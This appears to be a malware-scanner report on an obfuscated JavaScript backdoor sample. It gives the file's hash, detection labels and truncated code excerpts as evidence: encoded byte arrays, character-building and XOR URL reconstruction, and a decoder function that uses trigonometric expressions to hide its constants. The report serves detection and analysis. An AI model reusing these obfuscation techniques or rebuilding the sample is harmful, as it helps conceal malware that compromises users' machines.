Suspicious ^80% javascript-malware-collection Download

20151216_65624794d48ceb4e0081feda7dc791c4.js

obfuscated eval C2 backdoor

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-25616825c2e62434c6bb8bf98f475692212c508fe9073f91c18316b698916a6d941

Evidence

0x3f hex byte token line 1

1YkyxChPX=[0x3,0x7,0xd,0x11,0x18,0x19,0x1f,0x26,0x2b,0x30,0x34,0x3a,0x3f,0x41,0x46,0x4c,0x53,0x58,0x5c,0x63,0x65,0x69,0x72,0x77,0x7a,0x7d,0x85,0x87,0x8c,0x95,0x99,0x9d,0xa3,0xa8,0xae,0xb3,0xb4,0xbb,0x …

Builds characters with String.fromCharCode line 2

2:154… ']','`','s','`','K','N','D','l','o','q',';',' ','f','4','%',':',String.fromCharCode(10),'@',' ','U','^','V','z','W','"','?','P',':','X',String.fromCharCode(13),'O','G','`','{','v','*','t','<','U',':','z',' ','P','m','x','8','u','* …

XOR URL reconstruction call line 2

2:778… '(','h','y','*','!','%','4','L',']','=','&','.','P',' ',' ','I',String.fromCharCode(39),'D','U','(','D','^','j','o',']',')','^','g','M','T','l','D','*','`','(','(','D','+','3','A','Q','D',',','$','j','l','p','-','.','N','8','<',')','U','v','O','/','K','% …

Dense indexed short-token grid lines 12–13

12:33… CHQbkDf,hWhBLcIgEon) {qmJLOCLVNtowHK[BoWwCSCHQbkDf]=hWhBLcIgEon;}
13var R = new Array();R[0]=[];R[0][0]='d';R[0][1]='a';R[0][2]='d';R[0][3]='a';R[0][4]='46';R[0][5]='3d';R[0][6]='42';R[0][7]='14';R[0][8]='30';R[0][9]='14';R[0][10]='25';R[0][11]='14';R[0][12]='16';R[0][13]='47';R[0][14]='3k';R[0][15]='3d';R[0][16]='44';R[0][17]='3g';R[0][18]='3l';R[0][19]='3g';R[0][20]='49';R[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:30… ],R[4],R[5]];
20var QCSeGtMbD=[];
21function BwiBUQybkemloCKZq(xaJAx){oFBrIHddKPR= '';jPKoYhdfhKp=Math.round((Math.pow(Math.sin(22), 2) + Math.pow(Math.cos(22), 2) - 1));while(true){if (jPKoYhdfhKp >= (4607+307)/819){break;}QCSeGtMbD[jPKoYhdfhKp]=Math.round((Math.pow(Math.sin(813), 2) + Math.pow(Math.cos(813), 2) - 1)); while(true) { if(QCSeGtMbD[jPKoYhdfhKp] > xaJAx[jPKoYhdfhKp].length-(420+171)/591) { break; } if (RPobIsN(njxga(xaJAx[jPKoYhdfhKp][QCSeGtMbD[jPKoYhdfhKp]],(26405+783)/971,(7615+105)/772))) {oFBrIHddKPR += UNSYQcBelGqcuGITsIFctXevbxzKQCxDcnNpkkOrnstoCRfiVpYXow([xaJAx[jPKoYhdfhKp][QCSeGtMbD[jPKoYhdfhKp]]], Math.round((Math.pow(Math.sin(707), 2) + Math.pow(Math.cos(707), 2) - 1)));} QCSeGtMbD[jPKoYhdfhKp]++;}jPKoYhdfhKp++;} return oFBrIHddKPR}
22var GEoygeKgcDyzJIEqHlRNdOQzReytBQNwa = 'gmcjeUEVcNbKYyaFPshhAHYAhvXTCkNZZeru';var SGTQBWLjLTRtchKtitALksTBWeIePmAb = 'bewwmdUBTLpHwSyYGxLvULCWuxpoHMsAxxST';RccJqGZUznjqFqY(BwiBUQybkemloCKZq(xaJAx),GEoygeKgcDyzJIEqHlRNdOQzReytBQNwa,SGTQBWLjLTRtchKtitALksTBWeIePmAb);